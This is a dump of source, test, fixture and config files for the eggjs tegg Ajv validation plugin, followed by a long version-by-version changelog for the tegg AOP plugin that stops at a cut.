    "content": "{\n  \"name\": \"@eggjs/ajv-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"ajv plugin for egg and tegg\",\n  \"keywords\": [\n    \"ajv\",\n    \"egg\",\n    \"module\",\n    \"plugin\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/ajv\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/ajv\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./lib/Ajv\": \"./src/lib/Ajv.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./lib/Ajv\": \"./dist/lib/Ajv.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/ajv-decorator\": \"workspace:*\",\n    \"@eggjs/ajv-formats\": \"^3.0.1\",\n    \"@eggjs/ajv-keywords\": \"^5.1.0\",\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"ajv\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/controller-plugin\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggModule\": {\n    \"name\": \"teggAjv\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggAjv\",\n    \"strict\": false,\n    \"dependencies\": [\n      \"tegg\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/ajv/src/index.ts",
    "content": "export * from './lib/Ajv.ts';\n"
  },
  {
    "path": "tegg/plugin/ajv/src/lib/Ajv.ts",
    "content": "import { type Ajv as IAjv, AjvInvalidParamError } from '@eggjs/ajv-decorator';\nimport addFormats from '@eggjs/ajv-formats';\nimport keyWords from '@eggjs/ajv-keywords';\nimport { SingletonProto, AccessLevel } from '@eggjs/core-decorator';\nimport { LifecycleInit } from '@eggjs/lifecycle';\nimport { type Schema, Ajv2019 } from 'ajv/dist/2019.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Ajv implements IAjv {\n  static InvalidParamErrorClass: typeof AjvInvalidParamError = AjvInvalidParamError;\n\n  #ajvInstance: Ajv2019;\n\n  @LifecycleInit()\n  protected _init(): void {\n    this.#ajvInstance = new Ajv2019();\n    // @ts-expect-error ajv-keywords is not typed\n    keyWords(this.#ajvInstance, 'transform');\n    // @ts-expect-error ajv-formats is not typed\n    addFormats(this.#ajvInstance, [\n      'date-time',\n      'time',\n      'date',\n      'email',\n      'hostname',\n      'ipv4',\n      'ipv6',\n      'uri',\n      'uri-reference',\n      'uuid',\n      'uri-template',\n      'json-pointer',\n      'relative-json-pointer',\n      'regex',\n    ])\n      .addKeyword('kind')\n      .addKeyword('modifier');\n  }\n\n  /**\n   * Validate data with typebox Schema.\n   *\n   * If validate fail, with throw `Ajv.InvalidParamErrorClass`\n   */\n  validate(schema: Schema, data: unknown): void {\n    const result = this.#ajvInstance.validate(schema, data);\n    if (!result) {\n      throw new Ajv.InvalidParamErrorClass('Validation Failed', {\n        errorData: data,\n        currentSchema: JSON.stringify(schema),\n        errors: this.#ajvInstance.errors!,\n      });\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/ajv/src/types.ts",
    "content": "import '@eggjs/tegg-plugin/types';\n"
  },
  {
    "path": "tegg/plugin/ajv/test/ajv.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { afterEach, it, beforeAll, afterAll } from 'vitest';\n\nlet app: MockApplication;\n\nafterEach(() => {\n  return mm.restore();\n});\n\nbeforeAll(async () => {\n  mm(process.env, 'EGG_TYPESCRIPT', true);\n  // mm(process, 'cwd', () => {\n  //   return path.join(__dirname, '../');\n  // });\n  app = mm.app({\n    baseDir: path.join(import.meta.dirname, 'fixtures/apps/ajv-app'),\n    // framework: require.resolve('egg'),\n  });\n  await app.ready();\n});\n\nafterAll(() => {\n  return app.close();\n});\n\nit('should throw AjvInvalidParamError', async () => {\n  app.mockCsrf();\n  const res = await app.httpRequest().post('/foo').send({});\n  assert.equal(res.status, 500);\n  assert.match(res.text, /AjvInvalidParamError: Validation Failed/);\n});\n\nit('should pass', async () => {\n  app.mockCsrf();\n  const res = await app.httpRequest().post('/foo').send({\n    fullname: 'fullname   ',\n    skipDependencies: false,\n  });\n  assert.equal(res.status, 200);\n  assert.deepEqual(res.body, {\n    body: {\n      fullname: 'fullname',\n      skipDependencies: false,\n    },\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/ajv/test/fixtures/apps/ajv-app/config/config.default.ts",
    "content": "export default {\n  keys: 'test key',\n  security: {\n    csrf: {\n      ignoreJSON: false,\n    },\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/ajv/test/fixtures/apps/ajv-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/demo\"\n  },\n  {\n    \"package\": \"../../../../\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/ajv/test/fixtures/apps/ajv-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n  teggAjv: {\n    package: '@eggjs/ajv-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/ajv/test/fixtures/apps/ajv-app/modules/demo/FooController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, Inject, HTTPBody } from '@eggjs/tegg';\nimport { type Ajv, type Static, TransformEnum, type TSchema, Type } from '@eggjs/tegg/ajv';\n\nconst RequestBodySchema: TSchema = Type.Object({\n  fullname: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 100,\n  }),\n  skipDependencies: Type.Boolean(),\n  registryName: Type.Optional(Type.String()),\n});\n\ntype RequestBody = Static<typeof RequestBodySchema>;\n\n@HTTPController()\nexport class FooController {\n  @Inject()\n  private readonly ajv: Ajv;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/foo',\n  })\n  async echo(@HTTPBody() body: RequestBody): Promise<{ body: RequestBody }> {\n    this.ajv.validate(RequestBodySchema, body);\n    return {\n      body,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/ajv/test/fixtures/apps/ajv-app/modules/demo/module.yml",
    "content": ""
  },
  {
    "path": "tegg/plugin/ajv/test/fixtures/apps/ajv-app/modules/demo/package.json",
    "content": "{\n  \"name\": \"demo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"demo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/ajv/test/fixtures/apps/ajv-app/package.json",
    "content": "{\n  \"name\": \"ajv-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/ajv/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/plugin/ajv/vitest.config.ts",
    "content": "import { defineProject, type UserWorkspaceConfig } from 'vitest/config';\n\nconst config: UserWorkspaceConfig = defineProject({\n  test: {\n    // app.ready() loads 5 plugins and can take >10s under heavy parallel load\n    hookTimeout: 30000,\n  },\n});\n\nexport default config;\n"
  },
  {
    "path": "tegg/plugin/aop/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n\n### Features\n\n* add get/set for AdviceContext ([#297](https://github.com/eggjs/tegg/issues/297)) ([c299495](https://github.com/eggjs/tegg/commit/c299495b9407ec07b0a6e257d755d3d6f937d320))\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n\n### Bug Fixes\n\n* fix aop in constructor inject type ([#247](https://github.com/eggjs/tegg/issues/247)) ([d169bb2](https://github.com/eggjs/tegg/commit/d169bb2fbbc86335315619866b4134a25296f552))\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n\n### Bug Fixes\n\n* fix aop plugin files ([#140](https://github.com/eggjs/tegg/issues/140)) ([f47eef6](https://github.com/eggjs/tegg/commit/f47eef634efd442ac5a8f68567e36c940247e48b))\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n\n### Bug Fixes\n\n* init all context advice if root proto miss ([#139](https://github.com/eggjs/tegg/issues/139)) ([0602ea8](https://github.com/eggjs/tegg/commit/0602ea81578bf717ee4b4c490ace8c1c133478c5))\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n\n### Features\n\n* implement advice params ([76ec8ad](https://github.com/eggjs/tegg/commit/76ec8ad7b7170a637e59d74d49c1f00d8a201321))\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.6.2](https://github.com/eggjs/tegg/compare/v3.6.1...v3.6.2) (2023-02-16)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.6.1](https://github.com/eggjs/tegg/compare/v3.6.0...v3.6.1) (2023-02-14)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.5.1](https://github.com/eggjs/tegg/compare/v3.5.0...v3.5.1) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.3.4](https://github.com/eggjs/tegg/compare/v3.3.3...v3.3.4) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.3.3](https://github.com/eggjs/tegg/compare/v3.3.2...v3.3.3) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.3.2](https://github.com/eggjs/tegg/compare/v3.3.1...v3.3.2) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.2.0](https://github.com/eggjs/tegg/compare/v3.1.0...v3.2.0) (2022-12-28)\n\n\n### Features\n\n* impl mockModuleContextScope ([#73](https://github.com/eggjs/tegg/issues/73)) ([041881c](https://github.com/eggjs/tegg/commit/041881ca317ad81366172a35ac56b7b2dc0a0488))\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n## 